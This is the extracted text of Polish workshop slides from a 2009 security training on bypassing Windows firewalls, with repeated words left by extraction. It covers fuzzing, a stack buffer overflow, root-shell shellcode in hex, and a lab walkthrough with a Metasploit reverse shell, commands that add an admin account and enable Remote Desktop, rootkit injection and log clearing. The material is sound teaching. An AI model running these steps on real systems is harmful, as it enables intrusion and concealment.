Omijanie Firewall

Preview:

Citation preview

Omijanie firewalli w systemach WindowsOmijanie firewalli w systemach Windows

------ warsztaty warsztaty ------

1

PoznaPoznańń, , 18.18.0606.2009.2009

Mateusz DrygasMateusz Drygas, , Marcin JerzakMarcin Jerzak,,

Jakub TomaszewskiJakub Tomaszewski,,

ZespZespółół BezpieczeBezpieczeńństwa PCSSstwa PCSS

AgendaAgenda

10:00 10:00 –– Rozpoczęcie, powitanie uczestników, informacje organizacyjneRozpoczęcie, powitanie uczestników, informacje organizacyjne10:00 10:00 –– Rozpoczęcie, powitanie uczestników, informacje organizacyjneRozpoczęcie, powitanie uczestników, informacje organizacyjne

10:05 10:05 –– Poznajmy się: czym jest PCSS , Zespół Bezpieczeństwa PCSS i MIC?Poznajmy się: czym jest PCSS , Zespół Bezpieczeństwa PCSS i MIC?

10:05 10:05 –– Trochę informacji technicznychTrochę informacji technicznych

10:15 10:15 –– Łamanie zabezpieczeń w praktyceŁamanie zabezpieczeń w praktyce

11:30 11:30 –– PrzerwaPrzerwa

11:45 11:45 –– Lokalnie i zdalnie...Lokalnie i zdalnie...11:45 11:45 –– Lokalnie i zdalnie...Lokalnie i zdalnie...

12:00 12:00 –– Firewalle Firewalle -- ćwiczenia w formie scenariuszaćwiczenia w formie scenariusza

13:30 13:30 –– Na zakończenie Na zakończenie –– garść przydatnej wiedzy igarść przydatnej wiedzy i dyskusjadyskusja

2

Informacje organizacyjneInformacje organizacyjne

AnkietaAnkietaAnkietaAnkieta

Krótka i anonimowaKrótka i anonimowa

Pomoc na przyszłośćPomoc na przyszłość

Lista obecnościLista obecności

Proszę zaznaczyć, czy chcecie Państwo otrzymywać Proszę zaznaczyć, czy chcecie Państwo otrzymywać informacje o kolejnych szkoleniachinformacje o kolejnych szkoleniach

Prezentacja Prezentacja –– dostępna na stronach WWWdostępna na stronach WWWPrezentacja Prezentacja –– dostępna na stronach WWWdostępna na stronach WWW

http://mic.psnc.pl http://mic.psnc.pl

http://szkolenia.man.poznan.plhttp://szkolenia.man.poznan.pl

http://security.psnc.plhttp://security.psnc.pl

3

Kim jesteśmy i co robimy?Kim jesteśmy i co robimy?

4

PCSSPCSSPoznańskie Centrum Poznańskie Centrum SuperkomputerowoSuperkomputerowo--Sieciowe: Sieciowe: SuperkomputerowoSuperkomputerowo--Sieciowe: Sieciowe: 15 lat 15 lat w październiku 2008w październiku 2008

Operator sieci PIONIER (sieć Operator sieci PIONIER (sieć dla edukacji i nauki) oraz dla edukacji i nauki) oraz POZMANPOZMAN

Uczestnik projektów naukowoUczestnik projektów naukowo--badawczychbadawczych

Główne obszary Główne obszary zainteresowańzainteresowańzainteresowańzainteresowań

GridyGridy, sieci nowej , sieci nowej generacji, portalegeneracji, portale

Bezpieczeństwo sieci i Bezpieczeństwo sieci i systemówsystemów

http://www.pcss.plhttp://www.pcss.pl5

Zespół Bezpieczeństwa PCSSZespół Bezpieczeństwa PCSSDedykowany zespół istnieje od 1996r.Dedykowany zespół istnieje od 1996r.

Podstawowy zakres prac ZespołuPodstawowy zakres prac Zespołu

Zabezpieczanie infrastruktury PCSSZabezpieczanie infrastruktury PCSS

Zadania bezpieczeństwa w projektach naukowo Zadania bezpieczeństwa w projektach naukowo –– badawczychbadawczych

Szkolenia i transfer wiedzySzkolenia i transfer wiedzy

Badania własneBadania własne

Audyty i doradztwo w zakresie bezpieczeństwa ITAudyty i doradztwo w zakresie bezpieczeństwa IT

6

Niektóre badania z ostatnich latNiektóre badania z ostatnich lat

Raport o bezpieczeństwie bankowości elektronicznej (Raport o bezpieczeństwie bankowości elektronicznej (20062006))

Bezpieczeństwo serwerów WWW Apache i MS IIS (Bezpieczeństwo serwerów WWW Apache i MS IIS (20072007))

Bezpieczeństwo sklepów internetowych (Bezpieczeństwo sklepów internetowych (20082008))

http://security.psnc.plhttp://security.psnc.pl

Centrum Innowacji MicrosoftCentrum Innowacji Microsoft

Pierwsze w Polsce MICPierwsze w Polsce MIC

PartnerzyPartnerzyMicrosoft CorporationMicrosoft Corporation

Poznańskie Centrum Poznańskie Centrum SuperkomputerowoSuperkomputerowo--SiecioweSieciowe

Pierwsze w Polsce MICPierwsze w Polsce MICCentrum Bezpieczeństwa i Centrum Bezpieczeństwa i usług outsourcingowychusług outsourcingowych

7

SuperkomputerowoSuperkomputerowo--SiecioweSieciowe

Politechnika PoznańskaPolitechnika Poznańska

Otwarcie: Otwarcie: 1.06.2006r.1.06.2006r.http://mic.psnc.plhttp://mic.psnc.pl

Wybrane zadania MIC w 2009Wybrane zadania MIC w 2009

Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):

InteroperacyjnośćInteroperacyjność systemów i technologiisystemów i technologii

Wirtualizacja systemówWirtualizacja systemów

Wysokowydajne przetwarzanie komputerowe (HPC) Wysokowydajne przetwarzanie komputerowe (HPC) ––m.in. udział w programie HPC TAPm.in. udział w programie HPC TAP

Doroczna Konferencja MIC Doroczna Konferencja MIC -- 1616 kwietniakwietnia 2009,2009, 3.3. edycjaedycja

8

Doroczna Konferencja MIC Doroczna Konferencja MIC -- 1616 kwietniakwietnia 2009,2009, 3.3. edycjaedycja

Szkolenia MIC Szkolenia MIC –– I półrocze 2009I półrocze 2009

InteroperacyjnośćInteroperacyjnośćInteroperacyjnośćInteroperacyjność

27.05: Zastosowanie technologii 27.05: Zastosowanie technologii SilverlightSilverlight......

10.06: Windows Server 2008 jako uniwersalna platforma zapewniająca 10.06: Windows Server 2008 jako uniwersalna platforma zapewniająca usługi wirtualizacji i usługi wirtualizacji i klastrowaniaklastrowania

23.06: Bezpieczeństwo heterogenicznej platformy 23.06: Bezpieczeństwo heterogenicznej platformy hostingowejhostingowej (są (są jeszcze ostatnie wolne miejsca)jeszcze ostatnie wolne miejsca)

BezpieczeństwoBezpieczeństwo

9

BezpieczeństwoBezpieczeństwo

18.06: Omijanie firewalli w systemach Windows 18.06: Omijanie firewalli w systemach Windows –– warsztaty BYOL dla warsztaty BYOL dla specjalistów bezpieczeństwaspecjalistów bezpieczeństwa

Szkolenia MIC Szkolenia MIC –– II półrocze 2009II półrocze 2009

InteroperacyjnośćInteroperacyjnośćInteroperacyjnośćInteroperacyjność

Windows HPC ServerWindows HPC Server

Exchange Exchange LabsLabs jako uniwersalna platforma ejako uniwersalna platforma e--mailmail

BezpieczeństwoBezpieczeństwo

Bezpieczeństwo aplikacji ASP.NET MVCBezpieczeństwo aplikacji ASP.NET MVC

Bezpieczeństwo kontrolera domenyBezpieczeństwo kontrolera domeny

Szkolenia w Warszawie: IX/X 2009 (powtórzenie Szkolenia w Warszawie: IX/X 2009 (powtórzenie

10

Szkolenia w Warszawie: IX/X 2009 (powtórzenie Szkolenia w Warszawie: IX/X 2009 (powtórzenie cyklu „cyklu „InteroperacyjnośćInteroperacyjność”)”)

Zachęcamy do zgłaszania Zachęcamy do zgłaszania w ankietachw ankietach propozycji propozycji tematów na kolejne spotkania!tematów na kolejne spotkania!

Informacje techniczne (Informacje techniczne (11))

SystemSystem

Linux Live + changes

User: root / Passwd: toor

Wifi Wifi -- „„pcss-warsztaty”

wpa_passphrase pcss-warsztaty warsztaty-firewalle > wpa.conf

wpa_supplicant -i<interface wifi> -cwpa.confwpa_supplicant -i<interface wifi> -cwpa.conf

11

Informacje techniczne (2)Informacje techniczne (2)

AdresacjaAdresacja

Brama → 192.168.1.1

DNS → 192.168.1.1

Serwer do ćwiczeń → 192.168.1.7

Adres kliencki: 192.168.1.1XX

ifconfig <interface wifi> 192.168.1.1XX netmask 255.255.255.0ifconfig <interface wifi> 192.168.1.1XX netmask 255.255.255.0

ip route add default via 192.168.1.1

12

Architektura środowiskaArchitektura środowiska

System Centralny

...XP_V1 XP_V2 XP_V3 XP_Vn

WifiWifi

13

...L1 L2 L3 Ln

WifiWifi

Łamanie zabezpieczeń wŁamanie zabezpieczeń w praktycepraktyce

Wyszukiwanie podatności

Eksploitacja błędów

Shellcoding

Wyszukiwanie podatnościWyszukiwanie podatności

15

Ręczne wyszukiwanie błędów

Wartości niezgodne ze specyfikacją

poza zakresem

inne dane niż oczekiwane (float/string)

znaki specjalne

losowelosowe

Automatyczne szukanie lukFuzzer

Stosunkowo łatwo napisać prosty fuzzer

Fuzzing – bardziej złożony

rozbudowane dane wejściowe (np. jpeg)

obsługa debuggeraobsługa debuggera

analiza wyników i dostosowywanie testowanych danych

Rodzaje fuzzerów

Mutacyjne

Generacyjne

EwolucyjneEwolucyjne

Wady fuzzingu

Nie znajduje błędów logicznych

Nieokreślony czas znalezienia podatności

Wraz ze wzrostem skomplikowania programu postępuje wzrost złożoności fuzzer'aWraz ze wzrostem skomplikowania programu postępuje wzrost złożoności fuzzer'a

Jak napisać prosty „fuzzer” (1)Analiza programu:Analiza programu:

na jakich danych operuje?

skąd je bierze?

Modyfikacja danych wejściowych

różne znaki w parametrach

różne długości parametrów

modyfikacja przetwarzanych plikówmodyfikacja przetwarzanych plików

modyfikacje paczek sieciowych

Najlepsze wyniki osiągamy, gdy mamy dostęp do maszyny, na której znajduje się testowana aplikacja…

… i jeżeli testujemy program w debugerze (OlyDBG, gdb), którypomoże w analizie błędu

Jak napisać prosty „fuzzer” (2)Po ustaleniu, co można „zaatakować”, czasem wystarczy... Po ustaleniu, co można „zaatakować”, czasem wystarczy... krótki skrypt w bash'u:

#!/bin/bash#very simple fuzzx=1C='i'licz=1while [ $x -le 10 ]; do

a=`./hello $C`wyn=$?if [ $ wyn = 139 ]wyn=$?if [ $ wyn = 139 ]

thenecho "SEGV dla ilosci:"$liczexit

fiC=$C'i'licz=$((licz+1))

done

Przykładowe znane fuzzery - Linux

clfuzz.py – napisany w Pythonie fuzzer oparty o linię komend. Bardzo clfuzz.py – napisany w Pythonie fuzzer oparty o linię komend. Bardzo przydatny do testowania binariów setuid na błędy przepełnienia w linii komend

zzuf – działa w oparciu o mechanizm przechwytywania przerwań operacji plikowych i podmiany losowych bitów

SPIKE – to napisany w C kod, który jest bazą do tworzenia fuzzerów. Prawdopodobnie najszerzej wykorzystywany framework tego typuPrawdopodobnie najszerzej wykorzystywany framework tego typu

Peach – SmartFuzzer zdolny wykorzystywać zalety fuzzerów generacyjnych i mutacyjnych

Przykładowe znane fuzzery - Windows

AxMan – webowy fuzzer oparty o mechanizmy ActiveX, napisany przez H.D. Moore’a.

Peach – SmartFuzzer, zdolny wykorzystywać zalety fuzzerów generacyjnych I mutacyjnychgeneracyjnych I mutacyjnych

Bardziej złożone fuzzery

W Pythonie dla Linux'a:

http://192.168.1.7/fuzzing/fuzz.py

W C++ dla Windowsa:

http://192.168.1.7/fuzzing/fuzz_c.cpphttp://192.168.1.7/fuzzing/fuzz_c.cpp

Ciekawostka

Mozilla udostępnila w 2007r JSfuzzer, którym testowała Firefoksa. Dzięki temu znaleziono za jego pomocą 280 błędów, z czego 27

można było wyeksploitować

http://www.cgisecurity.com/2007/08/mozilla-releases-javascript-fuzzer-at-blackhat-.html fuzzer-at-blackhat-.html

ExploitationExploitation

0x414141410x41414141

26

Pierwszy kod#include <unistd.h>#include <unistd.h>

char arg[] =

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

int main(int argc, char **argv)int main(int argc, char **argv)

{

execl("./crackme", "./crackme", arg, NULL);

return 0;

}

Stos

Last In First Out

„Rośnie w dół”

Wątki posiadają odrębne stosy

Operacje PUSH i POP

Rejestry i adresy

ESP – wskaźnik szczytu stosu,

EIP – wskaźnik instrukcji,

EBP – rejestr bazowy,

EBP + 4 = RETEBP + 4 = RET

RET – adres powrotu,

0x41414141(gdb) f 3#3 0x41414141 in ?? ()#3 0x41414141 in ?? ()(gdb) i regeax 0x0 0ecx 0xffffffff -1edx 0x280e8c4c 672042060ebx 0x3 3esp 0xbfbfec48 0xbfbfec48ebp 0x42424242 0x42424242 esi 0xbfbff7ac -1077938260edi 0xbfbff7bc -1077938244edi 0xbfbff7bc -1077938244eip 0x41414141 0x41414141 eflags 0x286 646cs 0x1f 31ss 0x2f 47ds 0x2f 47es 0x2f 47fs 0x2f 47gs 0x2f 47

Rejestry

General Purpose

EAX, EBX, ECX

Segment Pointers

CS, DS

ControlControl

EIP

RET - adres powrotu

Gdzie jest nasz shellcode?

export shellcode $(perl -e 'print “A”x100)

Gdzie jest stos?

echo 0 > /proc/sys/kernel/randomize_va_space

Jak trafić?

x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xx90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90

Podatny kod#include <stdlib.h>

#include <stdio.h>#include <stdio.h>

#include <string.h>

int bof(char *string)

{

char buffer[1024];

strcpy(buffer, string);

return 1;

}}

int main(int argc, char *argv[])

{

bof(argv[1]);

return 1;

}

Ochrona pamięci

Stack cookies

Address Space Layout Randomization

SafeSEH

Heap Protection

Data Execution PreventionData Execution Prevention

Separacja w Windows

User mode – ring 3

Kernel mode – ring 0

Stałe błędy programistyczne (1)

Stack Overflow

np. nadpisujemy adres powrotu adresem, który znajduje się w ring 3

Stałe błędy programistyczne (2)

Niedostateczna walidacja adresów pochodzących z user-mode

np. nadpisujemy wskaźnik do danej funkcji ring 0 adresemwskazującym na ring 3

Stałe błędy programistyczne (3)

Non-executable stack DEP

Return to libc – przekierowanie sterowania do funkcji, a na stosie znajdują się parametry

system() - uruchamia proces

ShellcodingShellcoding

39

Definicja

kod maszynowy możliwy do wykonania bezpośrednio przez kod maszynowy możliwy do wykonania bezpośrednio przez procesor, wykonujący zawsze DOKŁADNIE to, co chcemy

brak statycznych odwołań

Pomijamy, jeśli tylko się da, znak -> NULL

xor X Xxor X X

http://192.168.1.7/shellcoding/

Narzędzia

gcc - kompilator, � gcc - kompilator,

� as - assembler,

� ld - linker,

� gdb - debuger,

� objdump (-x, -d, -D) –> disassembler+� objdump (-x, -d, -D) –> disassembler+

� strace

� vi i inne

Wrapper kodu assemblera (test.c)

char shellcode[] = ""; //nasz shellcode w tablicy globalnejchar shellcode[] = ""; //nasz shellcode w tablicy globalnej

int main (int argc, char **argv)

{

int (*ret)(); //wskaznik funkcji

ret = (int(*)())shellcode; //wskazujemy nasz shellcode

(int)(*ret)(); //wywolanie jak funkcji

return 0;

}

Budowanie shellcode'u krok po kroku

1. Co ma robić shellcode?1. Co ma robić shellcode?

2. Definicja funkcji przez niego używanych,

3. Wywołania systemowe potrzebnych funkcji,

4. Budowa kodu assemblera,

5. Kompilacja do „binarki”,

6. Deassemblacja,

7. Budowanie shellcodu,

8. Test.

Przyklad (1) – exit(0)Funkcja exit()Funkcja exit()

Definicja -> man 2 exit

http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit

void _exit(int status);

Przyklad (1) – exit(0)syscallsyscall

grep __NR_exit /usr/include/asm/unistd_32.h

#define __NR_exit 1

grep __NR_exit /usr/include/asm/unistd.h

grep __NR_exit /usr/include/asm/unistd_64.h

Przyklad (1) – exit(0)As exit.s -o exit.o

ld exit.o -o exit

./exit

echo $?

objdump -d exit

shellcode:

“\x31\xc0\xb0\x01\x31\xdb\xcd\x80”

kilka testów (test_exit.c)

Przyklad (2) – “Hello World”Funkcje exit() i write()Funkcje exit() i write()

Definicja -> man 2 exit

http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit

void _exit(int status);

Definicja -> man 2 write

http://www.cl.cam.ac.uk/cgi-bin/manpage?2+write

ssize_t write(int fd, const void *buf, size_t count);

Przyklad (2) – “Hello World”

syscall

grep __NR_exit /usr/include/asm/unistd_32.h

#define __NR_exit 1

grep __NR_write /usr/include/asm/unistd_32.h

#define __NR_write 4

Przyklad (2) – “Hello World”

Własności i ich konsekwencje – brak NULL i statycznych odwołańWłasności i ich konsekwencje – brak NULL i statycznych odwołań

call

call wrzuca następującą po niej wartość (standardowo – adrespowrotu) na stos i przenosi kontrolę do miejsca, ktore jest jej powrotu) na stos i przenosi kontrolę do miejsca, ktore jest jej

parametrem.

Przyklad (2) – “Hello World”as hello.s -o hello.o | ld hello.o -o hello as hello.s -o hello.o | ld hello.o -o hello

./hello | objdump -d hello

shellcode:

"\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04"\

"\xb2\x0e\x59\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31"\

"\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c"\

"\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a"

test (test_hello.c)

Przyklad (2) – “Hello World”Uwaga:Uwaga:

H e l l o , W o r l d ! \n

48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a

czyli:czyli:

“\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a”

Przyklad (3) – /bin/sh + rootFunkcje setreuid() i execve()Funkcje setreuid() i execve()

Definicja -> man 2 setreuid

http://www.cl.cam.ac.uk/cgi-bin/manpage?2+setreuid

int setreuid(uid_t ruid, uid_t euid);

Definicja -> man 2 execve

http://www.cl.cam.ac.uk/cgi-bin/manpage?2+execve

int execve(const char *filename, char *const argv[], char *const envp[]);

Przyklad (3) – /bin/sh + root

syscall

grep __NR_setreuid /usr/include/asm/unistd_32.h

#define __NR_setreuid 70

grep __NR_execve /usr/include/asm/unistd_32.h

#define __NR_execve 11

Przyklad (3) – /bin/sh + rootexecve("/bin/sh", *"/bin/sh", (char **)NULL);

execve("/bin/sh", - ciąg do wywołania (bez NULLi!)

*"/bin/sh", - adres tego ciągu

(char **)NULL) - NULL-owy wskaźnik do przyległej pamięci (parametry wywołania /bin/sh)

ciąg w pamięci wygląda tak: /bin/shNXXXXYYYYciąg w pamięci wygląda tak: /bin/shNXXXXYYYY

gdzie N ma wartość dokładnie \0 (koniec ciągu), czyli dla nas zakazaną – nie możemy mu nadać wartości NULL, ale możemy go XOR-ować

XXXX (4 bajty) to adres adresu naszego ciągu

YYYY (4 bajty) to adres wskaźnika envp[] (aktualnie call *NULL)

Przyklad (3) – /bin/sh + rootAs shell.s -o shell.o As shell.s -o shell.o

ld shell.o -o shell

./shell

(?)

shellcode:

(?)

Przyklad (3) – /bin/sh + root

Segmentation fault !!!

Dlaczego??Dlaczego??

Przyklad (3) – /bin/sh + root

as -g shell.s -o shell.o

(przydaje się, ale nie jest konieczne)

ld shell.o -o shell

objdump -x shell

.text ma atrybut readonly :/

ale .data :D

Przyklad (3) – /bin/sh + rootas shell_new.s -o shell_new.o as shell_new.s -o shell_new.o

ld shell_new.o -o shell_new

./shell_new | objdump -d shell_new

"\x31\xc0\xb0\x46\x31\xc9\x31\xdb\xcd\x80\xeb\x18\x5b"\

"\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0"\

"\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff"\

"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

test (test_shell_new.c)

Co dalej?

minimalizacja długości

shellcody bez konkretnych znaków

shellcody tylko ze znaków drukowalnychshellcody tylko ze znaków drukowalnych

PrzerwaPrzerwa

60

Lokalnie i zdalnie...Lokalnie i zdalnie...

Szukanie błędów

Większy problem ze zdefiniowaniem faktu błędu

Niejednoznacze odpowiedzi od serwera

Utrudnione debugowanie Utrudnione debugowanie

Exploitowanie

Znaczące problemy z uzyskaniem danych o procesach (rejestrach) oraz stanie usługi

Brak znajomości środowiska docelowego

Shellcoding

Wymagana jest dokładna znajomość systemu zdalnego

Przy założeniu dokładnie tych samych funkcjonalności shellcodu –złożoność problemu jest w przybliżeniu identyczna

Firewalle Firewalle -- ćwiczenia wćwiczenia w formie formie

scenariuszascenariusza

Wprowadzenie

Wiedza początkowa agresora:

Cel znajduje się pod adresem 192.168.1.7,

Cel wykorzystuje system Windows,

Cel jest chroniony przez co najmniej jeden firewall

Rozpoznanie maszyny

Skan adresu 192.168.1.7

Podpowiedź (!)

Poszukiwany otwarty port: 133XX

Rozpoznanie reakcji na porcie

Skanowanie

Próby połączeń

Testy reakcji na pakiety

Fuzzing na rozpoznany port

Zadanie:

Napisać (odszukać, przystosować) fuzzera

i zaatakować port

Podpowiedź (!)

http://172.168.1.7/fuzzing/fuzz_lan.py

Reakcja usługi na danym procie

Analiza wykonanych czynności i reakcji serwera

Ponowne rozpoznanie portów

Skanowanie

Podpowiedź (!)

Poszukiwany otwarty port: 144XX

Ponowne rozpoznanie usługi

rozpoznanie

atak

explitowanie przez znane luki explitowanie przez znane luki

Podpowiedź (!)

Metasploit

BadBlue

windows/shell/reverse_tcp

Dalsze działanie (1)

Dodanie konta z prawami administratora

Podpowiedź (!)

net user janek janka /add

net localgroup

net localgroup Administratorzy janek /add

Dalsze działanie (2)

Otwieramy dostęp przy pomocy:

Windows XP Remote Desktop

Podpowiedź (!)

Weryfikacja ustawień:Weryfikacja ustawień:

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

Zmiana ustawień:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0

Dalsze działania + czyszczenie (1)

Komunikat firewalla – usunięcie (?)

Umieszczenie programu typu rootkit

Ponowne uruchomienie usługi firewalla (Kerio Ponowne uruchomienie usługi firewalla (Kerio Personall Firewall)

Dalsze działania + czyszczenie (2)

Czyszczenie logów systemowych

Usunięcie dodanego konta

Wyłączenie Remote DesktopWyłączenie Remote Desktop

Założenie (!)

Atak przeprowadzamy z sieci lokalnej,

ale Internet jest udostępniony przez inny interfejs,

na którym dostępny dla TCP

jest jedynie port docelowy 80-ty

(dodatkowy system firewall

dla styku sieci lokalnej i Internetu)

Rootkit -> Podpowiedź (!)

WinAPI

DllInjection

lub

IP over DNS

Schemat „wyjścia” rootkita

Proces aplikacji - hostaFW

Wątek podczepiany

Na zakończenieNa zakończenie

garść przydatnej wiedzy garść przydatnej wiedzy ii dyskusjadyskusjagarść przydatnej wiedzy garść przydatnej wiedzy ii dyskusjadyskusja

Shellcody, rootkity, exploitygdzie ich szukać?

INTERNET!!!!INTERNET!!!!

...czego dowodzą dzisiejsze warsztaty!

Ciekawostka – analiza exploita

Kerio Personal Firewall v2.1.4

remote code execution exploit

http://192.168.1.7/exploit/kpf214.txt

Analiza DllInjection – schemat (1)

Start Znalezionohosta?

TAKTAK

NIENIE

Wstrzyknij kod

http://192.168.1.7/winapi/kod.tar.gz

hosta?

Zabezpieczenia !?

Aktualizacja, aktualizacja, aktualizacja (!)

Godny polecenia producent oprogramowania

Dbanie o „czystość” własnego systemuDbanie o „czystość” własnego systemu

Świadome użytkowanie komputera

Dlaczego nacisk na atak, Dlaczego nacisk na atak, a nie na obronę?a nie na obronę?a nie na obronę?a nie na obronę?

??????

91

Dyskusja!Dyskusja!

Informacje kontaktowe Informacje kontaktowe Autorzy prezentacjiAutorzy prezentacji

bluerose@man.poznan.plbluerose@man.poznan.plbluerose@man.poznan.plbluerose@man.poznan.pl

whlwhlyy@@man.poznan.plman.poznan.pl

mmateuszateusz@@man.poznan.plman.poznan.pl

Centrum Innowacji MicrosoftCentrum Innowacji Microsoft

httphttp://mic.psnc.pl://mic.psnc.pl

mic@man.poznan.plmic@man.poznan.pl

PCSSPCSSPCSSPCSS

http://www.pcss.plhttp://www.pcss.pl

Zespół Bezpieczeństwa PCSSZespół Bezpieczeństwa PCSS

httphttp://security.psnc.pl://security.psnc.pl

security@man.poznan.plsecurity@man.poznan.pl92

Pytania i dyskusja, propozycje?Pytania i dyskusja, propozycje?

Dziękujemy za uwagę!Dziękujemy za uwagę!93